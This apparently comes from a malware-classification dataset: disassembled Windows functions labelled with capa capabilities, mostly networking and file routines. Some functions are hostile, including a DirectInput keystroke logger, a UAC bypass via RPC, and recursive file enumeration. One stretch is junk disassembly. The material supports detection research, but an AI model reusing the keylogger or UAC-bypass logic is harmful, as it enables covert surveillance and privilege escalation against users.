joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400f13d0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400f14f4
cmp r8d, 0xff
jne 0x1400f1431
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400f141b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x11c4e0]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.1400cdc10
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.1400cdc10
cmp r8d, 0xfb
jne 0x1400f1443
lea r9, str.WILL
jmp 0x1400f1481
cmp r8d, 0xfc
jne 0x1400f1455
lea r9, str.WONT
jmp 0x1400f1481
cmp r8d, 0xfd
jne 0x1400f1467
lea r9, [0x14011cf04]
jmp 0x1400f1481
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400f14dd
cmp r10d, 0x27
jg 0x1400f14b4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x11cb00]
test r8, r8
jne 0x1400f14c4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.1400cdc10
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400f149b
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.1400cdc10
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.1400cdc10
add rsp, 0x38
ret

Function at 0x1400f1840
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400f189f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400cda90
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400f13d0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400f1a50
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400f1bf8
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400f1ab5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400f1ab5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400f1ab5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400f1aec
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400f1b42
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400f1b42
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400f1b42
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400f1b42
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400f1b42
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400f1500
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400f1ba4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400cda90
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400f18d0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400f1bf0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400cda90
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400f3360
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1401661c0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400f33f5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400f3456
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400cda90
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140106d90
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400f3511
sub ecx, 1
je 0x1400f3584
sub ecx, 1
je 0x1400f34c0
cmp ecx, 1
je 0x1400f34a3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140121dfc]
call fcn.1400cda90
jmp 0x1400f3584
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400f3090
test eax, eax
je 0x1400f3584
jmp 0x1400f342a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400f3584
sub rax, rsi
cmp rax, rbp
jae 0x1400f3584
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400cdc10
jmp 0x1400f3584
cmp r8d, 4
jle 0x1400f3584
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400f3584
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400cd9b0
mov esi, eax
test eax, eax
je 0x1400f3563
mov edx, 5
mov rcx, rbx
call fcn.1400f4050
mov eax, esi
jmp 0x1400f342a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400dc480
mov rcx, r14
call fcn.1400dc760
test eax, eax
je 0x1400f3428
mov edx, 5
mov rcx, rbx
call fcn.1400f4050
mov eax, Ordinal_46
jmp 0x1400f342a
Function at 0x140106320
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140106362
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1401063a9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140106402
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1401063c0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140106443
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14012004b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14012004c]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140106410
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1401065bc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1401065f6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1401065fb
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140106644
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140106644
dec r8
sub rdx, 1
jne 0x14010662a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140107d28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140107d72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140107d72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140107d72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140107d72
cmp dword [rcx + 0x84], 0xe
jbe 0x140107d72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140107d74
xor al, al
add rsp, 0x28
ret
Function at 0x140001080
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140020810]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edi, edi
lea r9, [0x140025630]
lea r8, [0x140014350]
mov qword [rsp + 0x20], rdi
mov edx, 0x800
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
js 0x1400011a0
mov rcx, qword [0x140025630]
lea r8, [0x140025640]
xor r9d, r9d
lea rdx, [0x140014370]
mov r10, qword [rcx]
call qword [r10 + 0x18]
test eax, eax
js 0x1400011a0
mov rcx, qword [0x140025640]
lea rdx, [0x140014330]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x1400011a0
mov rcx, qword [0x140025640]
lea r8d, [rdi + 0xa]
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x1400011a0
mov rcx, qword [0x140025640]
lea r8, [rsp + 0x30]
mov dword [rsp + 0x30], 0x14
lea edx, [rdi + 1]
mov qword [rsp + 0x34], 0x10
mov dword [rsp + 0x3c], edi
mov dword [rsp + 0x40], 0x3c
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
js 0x1400011a0
mov rcx, qword [0x140025640]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
js 0x1400011a0
lea ecx, [rdi + 0x14]
call qword [sym.imp.USER32.dll_GetKeyState]
add ax, 0x7f
mov ecx, 0xff7f
test cx, ax
sete dil
mov dword [0x140025638], edi
jmp 0x1400011ac
lea rcx, [0x14001c810]
call fcn.140001020
mov ecx, 0xc8
call fcn.1400016b8
mov rbx, rax
xor eax, eax
mov qword [rbx], rax
nop
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call fcn.140001200
test al, al
jne 0x1400011c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1400011c0
mov rdx, rbx
lea rcx, [0x14001c828]
call fcn.140001020
jmp 0x1400011b9
Function at 0x140001200
Capabilities:
Log keystrokes via polling

Disassembly:
push rdi
push r12
sub rsp, 0x48
mov rdi, rcx
mov rcx, qword [0x140025640]
test rcx, rcx
je 0x140001242
mov dword [0x140025648], 0x3c
lea r9, [0x140025648]
mov rax, qword [rcx]
lea r8, [0x140025650]
mov edx, 0x18
mov dword [rsp + 0x20], 0
call qword [rax + 0x50]
mov qword [rsp + 0x60], rbx
xor r12d, r12d
cmp dword [0x140025648], r12d
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
jle 0x1400013fe
lea r15, [0x140025654]
mov esi, 0xff7f
lea r13, str._esc_
nop dword [rax]
nop word [rax + rax]
xor ebx, ebx
lea r14, [0x1400212c8]
nop dword [rax]
mov eax, dword [r15 - 4]
dec eax
cmp eax, dword [r14]
jne 0x1400013ce
test byte [r15], 0x80
je 0x14000139e
cmp ebx, 0x39
jne 0x1400012de
lea ecx, [rbx - 0x25]
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0
add ax, 0x7f
test si, ax
sete cl
mov dword [0x140025638], ecx
jmp 0x1400012f6
cmp ebx, 0x29
je 0x140001376
cmp ebx, 0x35
je 0x140001376
mov ecx, dword [0x140025638]
mov eax, ebx
imul rsi, rax, 0x7c
cmp dword [0x14002563c], 0
je 0x14000133e
lea rbp, [rsi + r13]
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x14000131d
lea r9, [rbp + 0x28]
jmp 0x14000135c
cmp dword [0x140025638], 0
je 0x140001358
lea rbp, [rsi + r13]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x140001358
lea r9, [rbp + 0x50]
jmp 0x14000135c
test ecx, ecx
je 0x140001358
lea rbp, [rsi + r13]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rbp + 0x50]
test eax, eax
jne 0x14000135c
lea r9, [rsi + r13]
mov r8, rdi
lea rdx, [0x14001c848]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
mov esi, 0xff7f
jmp 0x1400013ce
mov eax, ebx
lea rdx, [0x14001c838]
imul r9, rax, 0x7c
mov r8, rdi
mov rcx, rdi
add r9, r13
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x14002563c], 1
jmp 0x1400013ce
cmp ebx, 0x29
je 0x1400013a8
cmp ebx, 0x35
jne 0x1400013ce
mov eax, ebx
lea rdx, str._s_s
imul r9, rax, 0x7c
mov r8, rdi
mov rcx, rdi
add r9, r13
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x14002563c], 0
inc ebx
add r14, 0x7c
cmp ebx, 0x66
jl 0x1400012a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x140001426
inc r12d
add r15, 0x18
cmp r12d, dword [0x140025648]
jl 0x140001290
xor al, al
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
add rsp, 0x48
pop r12
pop rdi
ret
mov al, 1
jmp 0x140001400

Function at 0x1400055e0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000540c
Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
fsub dword [rbx]
fisubr word [rbx]
std
movabs al, byte [0x91b31017cf475108]
push rcx
iretd
invalid
adc byte [rbx - 0xa176f6f], dh
enter 0x3b1b, 0xffffffffffffff89
test dword [rcx - 0x3e], edx
scasd eax, dword [rdi]
xchg esi, eax
xor eax, 0xc7e8b617
invalid
pop rbp
cmpsd dword [rsi], dword [rdi]
invalid
push rcx
iretd
invalid
mov ch, 0x47
sbb al, 0x7b
add dh, byte [rdi - 0x74e5f1da]
movsb byte [rdi], byte [rsi]
pmullw mm3, qword [rcx]
invalid
mov edi, ss
invalid
add edi, ecx
sub al, 0xfe
sbb edi, 0xffffff8b
psubw mm3, mm7
push rsi
adc edx, dword [rax - 0x2f]
pcmpeqd mm1, qword [rbx - 0x775503b1]
jbe 0x14003f677
cld
stosb byte [rdi], al
invalid
xchg ch, ch
jbe 0x14003f677
cld
stosb byte [rdi], al
mov byte [rsi - 0x266c5b13], al
movsb byte [rdi], byte [rsi]
xchg ebx, eax
fpatan
scasb al, byte [rdi]
movsb byte [rdi], byte [rsi]
xchg ebx, eax
fpatan
scasb al, byte [rdi]
insb byte [rdi], dx
mov edx, 0x98147665
invalid
mov word [rcx + rbp*2 - 0x64], ds
xor ch, byte [0x16bf0dde3]
ret
push rax
adc al, 0x9c
invalid

Function at 0x14000727c
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
lea rax, [r11 + 0x18]
mov r9, rdx
mov r8, rcx
mov qword [r11 - 0x10], rax
xor edi, edi
mov edx, 0x1000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbp, rax
test rax, rax
je 0x140007342
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007306
lea rsi, [rbx + 0x10]
xor edx, edx
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007303
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbx]
lea rcx, [0x140020640]
mov rdx, rsi
call fcn.1400123b8
jmp 0x140007306
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1400072d3
mov rdx, qword [0x14001f118]
lea rcx, [0x140020640]
mov rdi, rdx
inc rdx
mov qword [0x14001f118], rdx
lea edx, [rbx + 0x20]
call fcn.140012400
lea rcx, [0x140021210]
mov qword [rax], rbp
mov qword [rax + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov rax, rdi
add rsp, 0x30
pop rdi
ret
Function at 0x140001d4c
Capabilities:
Bypass uac via rpc

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x150
mov r14d, r9d
mov r15d, r8d
mov r12, rdx
mov r13, rcx
xor edx, edx
mov sil, dl
mov qword [rax + 0x30], rdx
mov dword [rax + 0x40], edx
mov rbx, qword [rsp + 0x1b8]
test rbx, rbx
je 0x140001d9c
mov qword [rbx], rdx
mov qword [rbx + 8], rdx
mov qword [rbx + 0x10], rdx
lea rdi, [rsp + 0x88]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rsp + 0x110]
lea ecx, [rax + 0x38]
rep stosb byte [rdi], al
mov dword [rsp + 0x134], 1
mov word [rsp + 0x138], dx
lea rdi, [rsp + 0xa0]
lea ecx, [rax + 0x70]
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1b8]
lea rcx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
call fcn.140010434
test eax, eax
jne 0x140001f7e
lea edx, [rax + 0x70]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncInitializeHandle]
mov edi, eax
test eax, eax
jne 0x140001e3b
mov dword [rsp + 0xcc], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd0], rax
test rax, rax
jne 0x140001e3b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x140001f7e
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x68], rax
or dword [rsp + 0x60], 0xffffffff
and qword [rsp + 0x58], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x50], rax
lea rax, str.WinSta0Default
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov r9, qword [rsp + 0x1b8]
lea r8, [rsp + 0xa0]
lea rdx, [0x140022eb2]
lea rcx, [0x140022e10]
call qword [sym.imp.RPCRT4.dll_NdrAsyncClientCall]
or edi, 0xffffffff
mov edx, edi
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, edi
jne 0x140001ee6
or ecx, 0xffffffff
call qword [sym.imp.RPCRT4.dll_RpcRaiseException]
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncCompleteCall]
test eax, eax
jne 0x140001f46
cmp qword [rsp + 0x198], 0
jne 0x140001f46
test rbx, rbx
je 0x140001f3b
mov rax, qword [rsp + 0x88]
mov qword [rbx], rax
mov rax, qword [rsp + 0x90]
mov qword [rbx + 8], rax
mov eax, dword [rsp + 0x98]
mov dword [rbx + 0x10], eax
mov eax, dword [rsp + 0x9c]
mov dword [rbx + 0x14], eax
mov sil, 1
mov byte [rsp + 0x80], sil
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x140001f62
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rsp + 0xd0], 0
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
jmp 0x140001f7e
mov al, sil
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
Function at 0x140002744
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4c0
xor r12d, r12d
mov r15, r9
mov rbx, rcx
mov r14d, r12d
mov ebp, r12d
mov rax, rcx
test rcx, rcx
jne 0x14000277f
mov eax, r12d
jmp 0x140002795
cmp word [rcx], r12w
je 0x14000278f
add rax, 2
cmp word [rax], r12w
jne 0x140002785
sub rax, rbx
sar rax, 1
lea r13, [0x1400266a8]
mov rcx, r13
add rcx, 2
cmp word [rcx], r12w
jne 0x14000279f
sub rcx, r13
mov edx, 8
sar rcx, 1
lea rdi, [rcx + 2]
mov rcx, qword [0x14002eae0]
add rdi, rax
mov rcx, qword [rcx + 0x18]
lea r8, [rdi + rdi]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
test rax, rax
je 0x140002875
mov rdx, rbx
mov rcx, rax
call fcn.140001af4
mov r8, rdi
mov rdx, r13
call fcn.140010578
lea rdx, [rsp + 0x270]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
mov r13d, 1
cmp rax, 0xffffffffffffffff
je 0x14000284c
mov r8, r15
lea rdx, [rsp + 0x270]
mov rcx, rbx
call fcn.14000298c
test eax, eax
jne 0x140002840
lea rdx, [rsp + 0x270]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140002812
jmp 0x140002843
mov ebp, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [0x14002eae0]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test ebp, ebp
je 0x14000286e
mov eax, r13d
jmp 0x14000296a
lea r13, [0x1400266a8]
mov rax, rbx
test rbx, rbx
jne 0x140002882
mov rax, r12
jmp 0x140002898
cmp word [rbx], r12w
je 0x140002892
add rax, 2
cmp word [rax], r12w
jne 0x140002888
sub rax, rbx
sar rax, 1
mov rcx, qword [0x14002eae0]
lea rsi, [rax + 0x108]
lea r8, [rsi + rsi]
mov edx, 8
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x14000296a
mov rdx, rbx
mov rcx, rdi
call fcn.140001af4
mov r8, rsi
lea rdx, [0x1400263f8]
call fcn.140010578
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002951
test byte [rsp + 0x20], 0x10
je 0x140002936
cmp word [rsp + 0x4c], 0x2e
je 0x140002936
mov rdx, rbx
mov rcx, rdi
call fcn.140001af4
lea rdx, [rsp + 0x4c]
call fcn.140001ab8
